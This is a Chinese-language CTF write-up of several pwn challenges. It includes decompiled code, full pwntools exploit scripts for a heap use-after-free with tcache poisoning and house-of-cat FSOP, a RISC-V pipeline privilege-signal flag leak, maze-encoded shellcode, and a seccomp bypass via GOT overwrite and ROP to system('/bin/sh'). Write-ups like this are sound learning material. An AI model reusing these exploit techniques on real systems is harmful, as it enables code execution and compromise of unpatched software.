1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __int64 one_pull () { __int64 result; unsigned __int8 n0xD; n0xD = rand () % 255 + 1 ; sub_13B4 (n0xD); if ( le_0D (n0xD) ) ++dword_4218; else ++dword_421C; s_1[dword_4214] = n0xD; result = (unsigned int )(20 * ((dword_4214 + 1 ) / 20 )); dword_4214 = (dword_4214 + 1 ) % 20 ; return result; }
one_pull里面调用了一个随机数生成,然后去卡池里抽卡,++的两个常数的卡的品质,我们不关心,然后会将抽出来的卡按序存到全局变量s_1中
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 set_seed () { unsigned int seed; char s[24 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Enter seed:" ); fgets (s, 16 , stdin); seed = atol (s); srand (seed); return v3 - __readfsqword(0x28 u); }
set_seed函数里面可以设置随机数种子
1 2 3 4 5 6 7 8 int clear () { memset (s_1, 0 , sizeof (s_1)); dword_4214 = 0 ; dword_4218 = 0 ; dword_421C = 0 ; return puts ("History cleared." ); }
clear函数可以清除已抽到的卡
1 2 3 4 5 6 int list(){ printf ("Total pulls: %d\n" , dword_4218 + dword_421C); printf ("\x1B[1;33mRare\x1B[0m characters: %d\n" , dword_4218); return printf ("\x1B[1;35mCommon\x1B[0m characters: %d\n" , dword_421C); }
list可以打印出当前抽到了多少卡,哪些是好的哪些是不好的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int add () { int i; unsigned int n0xC; printf ("Index:" ); n0xC = get_int (); if ( n0xC >= 0xC ) return puts ("Invalid index." ); if ( !clist[n0xC] ) clist[n0xC] = malloc (0xE4 uLL); printf ("Enter message:" ); fgets ((char *)(clist[n0xC] + 0x14 LL), 208 , stdin); for ( i = 0 ; i <= 19 && s_1[(dword_4214 - i + 19 ) % 20 ]; ++i ) *(_BYTE *)(clist[n0xC] + i) = s_1[(dword_4214 - i + 19 ) % 20 ]; return puts ("Record saved." ); }
add函数可以分配一个堆块,将所有抽到的卡存储到堆块前0x20个字节,然后在后面可以留message,这里没有溢出
1 2 3 4 5 6 7 8 9 10 11 int delete () { unsigned int iddx; printf ("Index:" ); iddx = get_int (); if ( iddx >= 0xC || !clist[iddx] ) return puts ("Invalid index." ); free ((void *)clist[iddx]); return puts ("Record deleted." ); }
delete就是释放堆块,这里没有清空指针有一个UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int show () { int result; __int64 v1; int i; unsigned int n0xC; printf ("Index:" ); n0xC = get_int (); if ( n0xC >= 0xC || !clist[n0xC] ) return puts ("Invalid index." ); result = printf ("Message: %s" , (const char *)(clist[n0xC] + 20LL )); for ( i = 0 ; i <= 19 ; ++i ) { v1 = clist[n0xC]; result = *(unsigned __int8 *)(v1 + i); if ( !*(_BYTE *)(v1 + i) ) break ; result = sub_13B4 (*(_BYTE *)(v1 + i)); } return result; }
show就是正常的show
除此之外还有一个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall sub_13B4 (unsigned __int8 n0xD) { char *s; if ( n0xD > 0xD u ) s = (char *)*(&off_40A0 + (n0xD - 14 ) % 22 ); else s = (char *)*(&off_4020 + n0xD - 1 ); if ( chance ) return printf ("(%d)%s\n" , n0xD, s); else return puts (s); }
这个函数的作用是打印抽出的卡的序号和名字,根据一个变量来做是否打印出序号的分支,这个变量我们可以在菜单中输入4919来设置
那本题思路就相当明确了
第一步设置chance为1,利用UAF漏洞释放七个小堆块填满tcache 链子,再释放一个到unsorted bin,然后调用show,泄露libc地址
因为卡牌序列是存储在堆块前0x20个字节的,堆块是否后卡牌序列即小端序unsorted bin的fd指针,通过show中打印序号可知
第二步利用UAF更改tcache bin的fd指向__IO_list_all
这里要进行随机数爆破,即爆破出一个随机数,它的第一次rand出来的数对255取余等于我们要生成的数-1,这个爆破还是很快的
然后利用one_pull向s_1中填充该字节,以此类推填充整个我们要篡改的fd
在打题的时候电脑环境不太对,自己调libc里面的rand的结果和实际运行程序rand的结果不一样,但通过调试发现程序运行的rand的结果和远程是一样的,而且程序确实会把rand出来的随机数打印出来,所以我当时选择直接用程序去爆破随机数了hhhh
第三步将__IO_list_all申请出来改为伪造的IO_FILE的地址,IO板子选择house of cat
本题限制了堆块分配的大小,所以我们伪造的IO_FILe实际上要横跨两个堆块,注意板子完整性就好。
本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 from pwn import *from wstube import websocketfrom ctypes import *context(os='linux' , arch='amd64' , log_level='debug' ) p = websocket("wss://ctf.zjusec.com/api/proxy/b10f13b1-d923-4f21-a5d1-38ae74fde6e1" ) elf = ELF("./vuln" ) libc = ELF("./libc.so.6" ) context.terminal = ["tmux" , "splitw" , "-h" ] import refrom typing import List , Union return seeds def extract_and_pack (multiline_string ) -> int : REGEX_PATTERN = r"\((\d+)\)" packed_bytes = b'' extracted_values: List [int ] = [] for line in multiline_string.strip().split('\n' ): line = line.strip() if not line: continue match = re.search(REGEX_PATTERN, line) if match : value_str = match .group(1 ) try : value = int (value_str) extracted_values.append(value) except ValueError: pass reversed_values = extracted_values[::-1 ] for value in reversed_values: try : byte_data = p8(value) packed_bytes += byte_data except ValueError as e: pass result_integer = int .from_bytes(packed_bytes, byteorder='big' ) return result_integer def add (idx, content ): sla(b"> " , str (4 )) sla(b"Index:" , str (idx)) sla(b"Enter message:" , content) def delete (idx ): sla(b"> " , str (5 )) sla(b"Index:" , str (idx)) def show (idx ): sla(b"> " , str (3 )) sla(b"Index:" , str (idx)) leak = b"" response = b"" p.recvline() while 1 : line = p.recvline() if b"(" not in line: break response += line return extract_and_pack(response.decode()) def chance (): sla(b"> " , str (4919 )) def one_pull (): sla(b"> " , str (1 )) response = b"" p.recvline() while 1 : line = p.recvline() if b"(" not in line: break response += line return extract_and_pack(response.decode()) def clear_history (): sla(b"> " , str (7 )) def set_seed (seed ): sla(b"> " , str (8 )) sla(b"Enter seed:" , str (seed)) def edit (idx, num, content ): clear_history() seed_list = find_seeds_for_each_byte(num) print (seed_list) for seed in seed_list: set_seed(seed) one_pull() add(idx, content) def find_seeds_for_each_byte (value ): seeds = [] context(os='linux' , arch='amd64' , log_level='info' ) io = process("./vuln" ) for i in range (6 ): target_byte = (value >> (i * 8 )) & 0xff if target_byte == 0 : break found = False for seed in range (0 , 2 **32 ): try : io.sendlineafter(b"> " , str (4919 )) io.sendlineafter(b"> " , str (8 )) io.sendlineafter(b"Enter seed:" , str (seed)) io.sendlineafter(b"> " , str (1 )) response = b"" while 1 : line = io.recvline() if b"(" not in line: break response += line val = extract_and_pack(response.decode()) if val == target_byte: print (val) print (f"[+] Found seed for byte {i} : {seed} " ) seeds = [seed] + seeds found = True break except subprocess.CalledProcessError: continue if not found: print (f"[-] Could not find seed for byte {i} " ) seeds.append(None ) context(os='linux' , arch='amd64' , log_level='debug' ) io.close() return seeds chance() for i in range (9 ): add(i ,b"A" ) delete(0 ) fd = show(0 ) heap_base = fd << 12 success(f"heap_base =》 {hex (heap_base)} " ) print (fd)for i in range (1 , 8 ): delete(i) leak = show(7 ) libc_base = leak - (0x78dbcc803b20 - 0x78dbcc600000 ) success(f"libc_base => {hex (libc_base)} " ) IO_list_all = libc_base + libc.sym["_IO_list_all" ] - 0x20 environ = libc_base + libc.sym["__environ" ] - 0x28 success(f"environ => {hex (environ)} " ) new_fp = heap_base + 0x330 edit(6 , IO_list_all ^ (fd), b"AAAA" ) payload = b"A" * (0x20 - 0x14 ) payload += p64(new_fp) add(9 , payload) add(10 , payload) show(10 ) new_vtable = libc_base + libc.sym["_IO_wfile_jumps" ] + 0x30 system = libc_base + libc.sym["system" ] heap = heap_base io_payload = flat({ 0x00 :b" sh\x00" , 0x18 :pack(0 ), 0x20 :pack(0 ), 0x28 :pack(1 ), 0x88 :pack(heap) , 0xa0 :pack(new_fp+8 ), 0xb8 :pack(system), 0xc0 :pack(1 ), 0xd8 :pack(new_vtable), 0xe8 :pack(new_fp+0xa0 ), },filler=b"\x00" ) shell_number = u32(b" sh" ) add(0 , b"A" * (0x330 - 0x2b0 - 4 ) + io_payload[:0x30 ]) add(1 , b"A" * 0x14 + io_payload[0x88 :]) sla(b"> " , str (9 )) inter()
flag:ZJUCTF{my_+urn!dr@wwwww!5imp1e_U4F_on_+c@che}
7 cs_master
那是一个阳光明媚的下午,实习下班后我与kid走在公司楼下的小路上
kid:我今天看了一个很有意思的题,他是一个cpu的pwn
我:还有这种pwn
kid:他就是把flag......然后.....最后......结果......我感觉还挺有意思的
我:(叽里咕噜说什么呢)
题目是一个简易的支持risc-v32指令集的五级流水线CPU
在最开始运行时会把flag载入内存,然后再MEM READ时会判断是否有特权信号,如果有的话则读flag,没有则读正常内存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import Common::*;module RAM ( input logic clk, input logic rst, input Signals i_signals, input logic i_privileged, output Signals o_signals ); logic [31 :0 ] secret[0 :255 ]; initial $readmemh ("flag.mem" , secret); parameter int RAM_WORDS = (36 * 125 * 30 / 4 ); logic [31 :0 ] ram[0 :RAM_WORDS-1 ]; ........... always_comb begin mem_rdata = 0 ; if (i_signals.memr ) begin case (idx[31 :30 ]) 'b00 : mem_rdata = ram[idx>>2 ]; 'b10 : begin PRIVILEGED(i_privileged); mem_rdata = secret[off>>2 ]; end endcase end end always_comb begin o_signals = i_signals; if (i_signals.memr ) begin logic [31 :0 ] loaded_data; case (i_signals.memt ) LoadByte: loaded_data = 32 '(signed '(mem_rdata[shift+:8 ])); ULoadByte: loaded_data = 32 '(unsigned '(mem_rdata[shift+:8 ])); LoadHalf: loaded_data = 32 '(signed '(mem_rdata[shift+:16 ])); ULoadHalf: loaded_data = 32 '(unsigned '(mem_rdata[shift+:16 ])); LoadWord: loaded_data = mem_rdata; default : loaded_data = 0 ; endcase o_signals.wdata = 33 '(loaded_data); end else begin o_signals.wdata = i_signals.wdata ; end end endmodule
所以目的很明确是在读取内存的时候priviledge信号是1
看一下这个信号是从哪里发射的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Opcode::System: begin o_signals.op = Op::Add; o_signals.wreg = 0 ; o_signals.wback = 0 ; o_signals.sys_wback = 0 ; o_signals.asel = Register; o_signals.bsel = Nothing; case (i_insn.i .funct3 ) 'h0 : begin case (i_insn.i .imm ) 'h000 : begin o_signals.op = Op::Add; o_signals.wreg = 0 ; o_signals.wback = 0 ; o_signals.sys_wback = 1 ; o_signals.asel = ProgramCounter; o_signals.bsel = NextInsn; o_privileged_out = 1 ; end 'h102 : begin PRIVILEGED(i_privileged_in); o_privileged_out = 0 ; end default : begin $display ("unhandled system instruction" ); $finish ; end endcase
是在ID解码阶段Control模块里发射出来的,判断这是System的指令就会设置priviledge信号为1
但这里同时会设置跳转信号为ALWAYS,之前一直在想我如何能让他跳转信号不为1,所以一直在想伪造指令,但一直都不行。
后面关注到了阶段间寄存器的写法,IF_ID和ID_EXE没有问题,但EXE_MEM发现这里没有flush....我忘了原本的有没有flush了
但这就有一个问题,ecall指令是在ID阶段解码的,信号在下一个周期发出,priviledge信号也会同时发出,ld指令在MEM阶段执行
也就是说,如果是下面这样的代码片段:
那么很不幸lw指令执行会和priviledge信号发出处在同一拍!我们就可以通过这一拍的缝隙,将flag里面的4字节读取到寄存器中
远端执行脚本在运行结束会给我们打印出所有寄存器的数值,我们就可以通过这个方法来泄露flag
但打远端的时候发现,远端碰到ecall指令就会卡死,想了个办法,我们可以不去碰ecall,因为privilidge并不在flush的信号内,如果不涉及到特权态切换,privilidge就会保持原样,所以我们可以通过ecall指令解码去骗信号,但不执行,形如如下的片段:
1 2 3 4 bne ....., exploit ecall exploit: lw ......
信号骗到手就可以~
远端交互脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import sysimport subprocessimport base64import argparseimport structfrom pwn import *from wstube import websocketdef run_program_bytes (code_bytes ): print (code_bytes) b64 = base64.b64encode(code_bytes).decode("ascii" ) print (b64) p = websocket("wss://ctf.zjusec.com/api/proxy/b4865bc0-2175-4fdf-a7f4-eb161ebc4912" ) context.log_level = "debug" p.sendlineafter(b"give me your code: " , b64) p.recv() p.interactive() return proc if __name__ == '__main__' : with open ("main.bin" , "rb" ) as f: code = f.read() run_program_bytes(code)
本地编译.s为二进制:
1 2 3 riscv64-unknown-elf-as -march=rv32i main.s -o main.o riscv64-unknown-elf-objcopy -j .text -O binary main.o main.bin python3 interact_with_runpy.py
攻击代码:
1 2 3 4 5 6 7 leak: LUI x1, 0x80000 jal x2, target ecall target: LUI x1, 0x80000 lw x3, 0(x1)
通过n次重复运行该脚本(改lw的偏移),拿到全部flag如下:
1 2 3 4 5 6 7 8 9 10 11 # 0x43554a5a # 0x797b4654 # 0x6d5f7530 # 0x5f743575 # 0x345f3362 # 0x6d30635f # 0x33747570 # 0x79355f72 # 0x6d337435 # 0x35406d5f # 0x7d723374
flag:ZJUCTF{y0u_mu5t_b3_4_c0mput3r_5y5t3m_@5t3r}
8 unluckey
题目大意是我们输入一个种子,就会为我们生成一个迷宫
之后允许在迷宫里使用wasd走,每一个有效的走步(不撞墙,不越界)最后都会被转译为一段二进制,所有有效走步转义的二进制拼接到一起填充到一段程序分配得到可读可写可执行的内存段作为shellcode执行:
题目同时给出了一个后门函数:
1 2 3 4 int sub_12A9 () { return system ("/bin/sh" ) ; }
所以如何保证shellcode的连续性(也就是shellcode转义为一串走步,每一步都是有效的)是这个题的关键。
首先我们给出两个用户调试的函数,第一个是把wasd转义为shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 def encode_wasd_to_bytecode (wasd_string: str ) -> bytes : CODE_MAP = { 'w' : 0b00 , 'd' : 0b01 , 's' : 0b10 , 'a' : 0b11 , } encoded_bytes: List [int ] = [] current_byte = 0 bit_count = 0 valid_instructions: List [str ] = [] for i, char in enumerate (wasd_string.lower()): code = CODE_MAP.get(char) if code is None : print (f"警告: 发现非法字符 '{char} ' (位置 {i} )。跳过该字符。" ) continue valid_instructions.append(char) current_byte = (current_byte << 2 ) | code bit_count += 2 if bit_count == 8 : encoded_bytes.append(current_byte) current_byte = 0 bit_count = 0 if bit_count > 0 : current_byte <<= (8 - bit_count) encoded_bytes.append(current_byte) print ("\n--- WASD Bytecode Encoding Log ---" ) INSTRUCTIONS_PER_BYTE = 4 num_bytes = len (encoded_bytes) for i in range (num_bytes): byte_val = encoded_bytes[i] start_instr_index = i * INSTRUCTIONS_PER_BYTE end_instr_index = start_instr_index + INSTRUCTIONS_PER_BYTE instr_segment = "" .join(valid_instructions[start_instr_index:end_instr_index]) if len (instr_segment) < INSTRUCTIONS_PER_BYTE: padding_count = INSTRUCTIONS_PER_BYTE - len (instr_segment) instr_segment += '?' * padding_count byte_log = f"Byte {i:02d} ({byte_val:02X} h): {instr_segment:<4 } " if i > 0 and i % 4 == 0 : print () print (f"{byte_log} " , end="" ) if num_bytes > 0 : print () print ("----------------------------------" ) return bytes (encoded_bytes)
另一个是将shellcode转义为wasd串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 def decode_wasd_from_bytecode_auto (bytecode_bytes: bytes ) -> str : CODE_MAP = { 0b00 : 'w' , 0b01 : 'd' , 0b10 : 's' , 0b11 : 'a' , } decoded_chars = [] total_bits = len (bytecode_bytes) * 8 for bit_pos in range (0 , total_bits, 2 ): byte_index = bit_pos // 8 bit_in_byte = 7 - (bit_pos % 8 ) byte_val = bytecode_bytes[byte_index] bit1 = (byte_val >> bit_in_byte) & 1 bit_pos_2 = bit_pos + 1 if bit_in_byte == 0 : byte_index_2 = byte_index + 1 if byte_index_2 >= len (bytecode_bytes): break byte_val_2 = bytecode_bytes[byte_index_2] bit2 = (byte_val_2 >> 7 ) & 1 else : bit2 = (byte_val >> (bit_in_byte - 1 )) & 1 current_code = (bit1 << 1 ) | bit2 decoded_chars.append(CODE_MAP.get(current_code, '?' )) print ("--- WASD Bytecode Log ---" ) INSTRUCTIONS_PER_BYTE = 4 for i in range (len (bytecode_bytes)): byte_val = bytecode_bytes[i] start_instr_index = i * INSTRUCTIONS_PER_BYTE end_instr_index = start_instr_index + INSTRUCTIONS_PER_BYTE instr_segment = "" .join(decoded_chars[start_instr_index:end_instr_index]) byte_log = f"Byte {i:02d} ({byte_val:02X} h): {instr_segment:<4 } " if i > 0 and i % 4 == 0 : print () print (f"{byte_log} " , end="" ) if len (bytecode_bytes) > 0 : print () print ("-------------------------" ) return "" .join(decoded_chars)
明确我们的shellcode最短是三条指令:
1 2 3 pop rbx sub bx, 0x517 jmp rbx
但在实际操作中,jmp指令实在不好找对应的连续步,所以我们把jmp指令拆成两步,即:
1 2 3 4 pop rbx sub bx, 0x517 push rbx ret
现在明确,每一条汇编指令都是原子的,即不可拆分的,必须是连续的。但指令和指令之间是可以拆分的,即我们可以在两条指令之间插入一些毫不相干的指令进行当前位置的调整,来保证执行下一条指令时,每一步在迷宫里都是合法的。
在此之前,我们希望迷宫里尽可能空旷来给我们发挥的空间,看了下程序里生成迷宫的算法,喂给AI好像是什么线性移位寄存器,不管了,我们写一个爆破的函数,不断去爆破seed找到迷宫里障碍物尽可能少的种子:
1 2 3 4 5 6 7 8 9 10 11 def brute_force_maze (): global min_default, min_seed import random seed = random.randint(0 , 0x7fffffff ) sla(b"Enter seed:" , str (seed)) response = p.recvuntil(b"Enter move (w/a/s/d):" ) default_num = response.count(b"#" ) print (default_num) if default_num <= min_default: min_default = default_num min_seed = seed
总共爆破出来了好几个种子,障碍物总数在11-13不等,经过挑选我选择了1866723839这个种子:
这个种子生成的迷宫下面有一大片连续的空地可以发挥,现在我们需要去找一些调整P位置的指令:
1 rex -> dwww rex.W -> dwsw pop rax -> ddsw clc -> aasw
我们用这四条指令穿插在原本的shellcode中,保证每一条指令的连续步都合法,最终的shellcode长这个样子:
1 2 3 4 5 6 7 8 9 10 11 12 rex pop rbx clc pop rax clc pop rax rex. W sub bx , 0x517 clc clc push rbx ret
最终的连续步是这样的:
dwwwddsaaaswddswaaswddswdwswdsdsswwdassawddawwddaaswaaswddwadwswawwa
本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 from pwn import *from wstube import websocketimport mathdef decode_wasd_from_bytecode_auto (bytecode_bytes: bytes ) -> str : CODE_MAP = { 0b00 : 'w' , 0b01 : 'd' , 0b10 : 's' , 0b11 : 'a' , } decoded_chars = [] total_bits = len (bytecode_bytes) * 8 for bit_pos in range (0 , total_bits, 2 ): byte_index = bit_pos // 8 bit_in_byte = 7 - (bit_pos % 8 ) byte_val = bytecode_bytes[byte_index] bit1 = (byte_val >> bit_in_byte) & 1 bit_pos_2 = bit_pos + 1 if bit_in_byte == 0 : byte_index_2 = byte_index + 1 if byte_index_2 >= len (bytecode_bytes): break byte_val_2 = bytecode_bytes[byte_index_2] bit2 = (byte_val_2 >> 7 ) & 1 else : bit2 = (byte_val >> (bit_in_byte - 1 )) & 1 current_code = (bit1 << 1 ) | bit2 decoded_chars.append(CODE_MAP.get(current_code, '?' )) print ("--- WASD Bytecode Log ---" ) INSTRUCTIONS_PER_BYTE = 4 for i in range (len (bytecode_bytes)): byte_val = bytecode_bytes[i] start_instr_index = i * INSTRUCTIONS_PER_BYTE end_instr_index = start_instr_index + INSTRUCTIONS_PER_BYTE instr_segment = "" .join(decoded_chars[start_instr_index:end_instr_index]) byte_log = f"Byte {i:02d} ({byte_val:02X} h): {instr_segment:<4 } " if i > 0 and i % 4 == 0 : print () print (f"{byte_log} " , end="" ) if len (bytecode_bytes) > 0 : print () print ("-------------------------" ) return "" .join(decoded_chars) from typing import List def encode_wasd_to_bytecode (wasd_string: str ) -> bytes : CODE_MAP = { 'w' : 0b00 , 'd' : 0b01 , 's' : 0b10 , 'a' : 0b11 , } encoded_bytes: List [int ] = [] current_byte = 0 bit_count = 0 valid_instructions: List [str ] = [] for i, char in enumerate (wasd_string.lower()): code = CODE_MAP.get(char) if code is None : print (f"警告: 发现非法字符 '{char} ' (位置 {i} )。跳过该字符。" ) continue valid_instructions.append(char) current_byte = (current_byte << 2 ) | code bit_count += 2 if bit_count == 8 : encoded_bytes.append(current_byte) current_byte = 0 bit_count = 0 if bit_count > 0 : current_byte <<= (8 - bit_count) encoded_bytes.append(current_byte) print ("\n--- WASD Bytecode Encoding Log ---" ) INSTRUCTIONS_PER_BYTE = 4 num_bytes = len (encoded_bytes) for i in range (num_bytes): byte_val = encoded_bytes[i] start_instr_index = i * INSTRUCTIONS_PER_BYTE end_instr_index = start_instr_index + INSTRUCTIONS_PER_BYTE instr_segment = "" .join(valid_instructions[start_instr_index:end_instr_index]) if len (instr_segment) < INSTRUCTIONS_PER_BYTE: padding_count = INSTRUCTIONS_PER_BYTE - len (instr_segment) instr_segment += '?' * padding_count byte_log = f"Byte {i:02d} ({byte_val:02X} h): {instr_segment:<4 } " if i > 0 and i % 4 == 0 : print () print (f"{byte_log} " , end="" ) if num_bytes > 0 : print () print ("----------------------------------" ) return bytes (encoded_bytes) p = process("./vuln" ) min_default = 13 min_seed = 1866723839 def brute_force_maze (): global min_default, min_seed import random seed = random.randint(0 , 0x7fffffff ) sla(b"Enter seed:" , str (seed)) response = p.recvuntil(b"Enter move (w/a/s/d):" ) default_num = response.count(b"#" ) print (default_num) if default_num <= min_default: min_default = default_num min_seed = seed libc = ELF("./libc.so.6" ) context(os='linux' , arch='amd64' , log_level='debug' ) wasd = "dwwwddsaaaswddswaaswddswdwswdsdsswwdassawddawwddaaswaaswddwadwswawwa" wasd += "dddd" sla(b"Enter seed:" , str (min_seed)) gdb.attach(p, "brva 0x17C6" ) for i in wasd: sla(b"Enter move (w/a/s/d):" , i) sleep(0.1 ) inter()
flag: ZJUCTF{5eem5_you_@re_1ucky_enou9h!LF$R_i5_vu1n@r@61e}
9 safe
简单的多线程,看一下程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { __uid_t euid; __uid_t ruid; pthread_t newthread[7 ]; newthread[4 ] = (pthread_t )&argc; euid = geteuid(); ruid = geteuid(); setreuid(ruid, euid); alarm(0xA u); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); pthread_create(newthread, 0 , (void *(*)(void *))safe_code, 0 ); unsafe_code(); while ( 1 ) ; }
程序主函数会生成一个线程去执行safe_code,程序主线程执行unsafe_code。safe_code中是一个死循环
1 2 3 4 5 6 7 8 void __noreturn safe_code () { while ( 1 ) { puts ("In the sandbox..." ); sleep(1u ); } }
unsafe_code有一个栈溢出但是会加沙箱:
1 2 3 4 5 6 7 ssize_t unsafe_code () { _BYTE buf[1028 ]; setup_rules(); return read(0 , buf, 0x800 u); }
1 2 3 4 5 6 7 8 9 10 11 12 13 root@LAPTOP-1 THOKMAC:/home/wingee/ZJUCTF2025/safe# seccomp-tools dump ./safe In the sandbox... line CODE JT JF K ================================= 0000 : 0x20 0x00 0 x00 0x00000004 A = arch 0001 : 0x15 0x00 0 x06 0x40000003 if (A != ARCH_I386) goto 0008 0002 : 0x20 0x00 0 x00 0x00000000 A = sys_number 0003 : 0x15 0x03 0 x00 0x00000001 if (A == exit) goto 0007 0004 : 0x15 0x02 0 x00 0x00000003 if (A == read) goto 0007 0005 : 0x15 0x01 0 x00 0x00000004 if (A == write) goto 0007 0006 : 0x15 0x00 0 x01 0 x000000ad if (A != rt_sigreturn) goto 0008 0007 : 0x06 0x00 0 x00 0 x7fff0000 return ALLOW 0008 : 0x06 0x00 0 x00 0x00000000 return KILL
可以执行exit read write, 其他都不行,看了下程序没有开pie并且是32位,unsafe里面还是一直在循环的,并且pertial relro
1 2 3 4 5 6 7 root@LAPTOP- 1 THOKMAC :/home/wingee/ZJUCTF2025/safe# checksec safe [*] '/home/wingee/ZJUCTF2025/safe/safe' Arch : i386-32 -little RELRO : Partial RELRO Stack : No canary found NX : NX enabled PIE : No PIE (0 x8042000)
所以思路很明确,由于线程与线程之间共享很多东西,包括GOT,所以我们可以使用主线程去劫持sleep的GOT到unsafe_code(跳过开沙箱的代码),之后子线程运行sleep的时候就会到unsafe_code,之后我们打一个常规的泄露GOT中函数指针进而泄露libc,布置rop链子运行system("/bin/sh")就行了。
32位程序甚至不需要找gadget,很简单了,本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *from wstube import websocketcontext(os='linux' , arch='i386' , log_level='debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] p = websocket("wss://ctf.zjusec.com/api/proxy/425979c0-f9e5-41a2-9c8a-929011b038d2" ) libc = ELF("./libc-2.27.so" ) elf = ELF("./safe" ) payload = p32(0x0804880C ) * (0x408 // 4 ) payload += p32(0x0804880C ) payload += p32(elf.sym["read" ]) payload += p32(0x080488E9 ) payload += p32(0 ) payload += p32(elf.got["sleep" ]) payload += p32(4 ) sl(payload) pause() payload = p32(0x0804880C ) s(payload) one_gadget = [0x3d2a3 , 0x3d2a5 , 0x3d2b0 ] sleep(2 ) payload = p32(0x804A800 ) * ((0xe308 - 0xdf50 ) // 4 ) payload += p32(0x804A800 ) payload += p32(elf.plt["puts" ]) payload += p32(0x0804880C ) payload += p32(elf.got["puts" ]) payload += p32(0x080488E9 ) sl(payload) p.recvuntil(b"In the sandbox...\n" ) p.recvuntil(b"In the sandbox...\n" ) libc_base = u32(p.recv(4 )) - (0xf7d9cd90 - 0xf7d35000 ) success(f"libc_base => {hex (libc_base)} " ) p.recv() one_gadget = libc_base + one_gadget[0 ] system = libc_base + libc.sym["system" ] payload = b"/bin/sh\x00" payload += p32(0x804A800 ) * (0x408 // 4 - 2 ) payload += p32(0x804A800 ) payload += p32(system) payload += p32(0x080488E9 ) payload += p32(0x804A800 - 0x408 ) sl(payload) inter()
flag: flag{R3t_t0_Th3_Uns4fe_Thr3ad_nk_$$Xyv#*}
10 oh_arkpwn2025
牢完了,幸好之前复现过arkjs的题目,有一些套路性脚本直接拿来用了,不然真就牢完了。
但是还是花了好长时间重温华子方舟引擎字节码处理的内存布局,主要就是数组对象在内存的布局
方舟JS运行时使用的是ark_runtime_core的一套公共组件,包括执行字节码的相关逻辑:
然后翻到了一个手册,这个手册讲的还是很好的,有一些名词wp里写的不是很清楚的这个手册里都可以找到,最关键的是如何通过SemiSpace的地址加任意地址读泄露heap地址的阶段,其实比较复杂,但做完之后看了眼手册里讲的还是很明白的。
https://developer.huawei.com/consumer/cn/doc/best-practices/bpta-arkts-js-memory-analysis
在Arkjs中,我们分配的数组会存储在一个叫做SemiSpace的小区段地址空间,在当前方舟JS运行时版本下,分配的小数组的地址会很低,native地址差非常非常多,还有一种内存叫做native内存,这里的内存就是原本使用malloc new等函数分配的堆块所在的地方。
1 本文Native 内存指的主要是代码中通过malloc、new 、realloc、calloc函数申请的堆内存和通过mmap映射内存地址空间,Native 内存是进程内存中占比较高,也是容易出泄漏问题的一种内存。分析Native 内存分布与占用问题需要借助工具,以及一些测试,分析技巧。DevEco Studio Profiler插件的Allocation模板,通过对基础库的malloc,free等函数进行插桩记录,可以抓取Native 内存分配释放记录,包括大小和堆栈等数据,用以分析native 内存的占用问题。
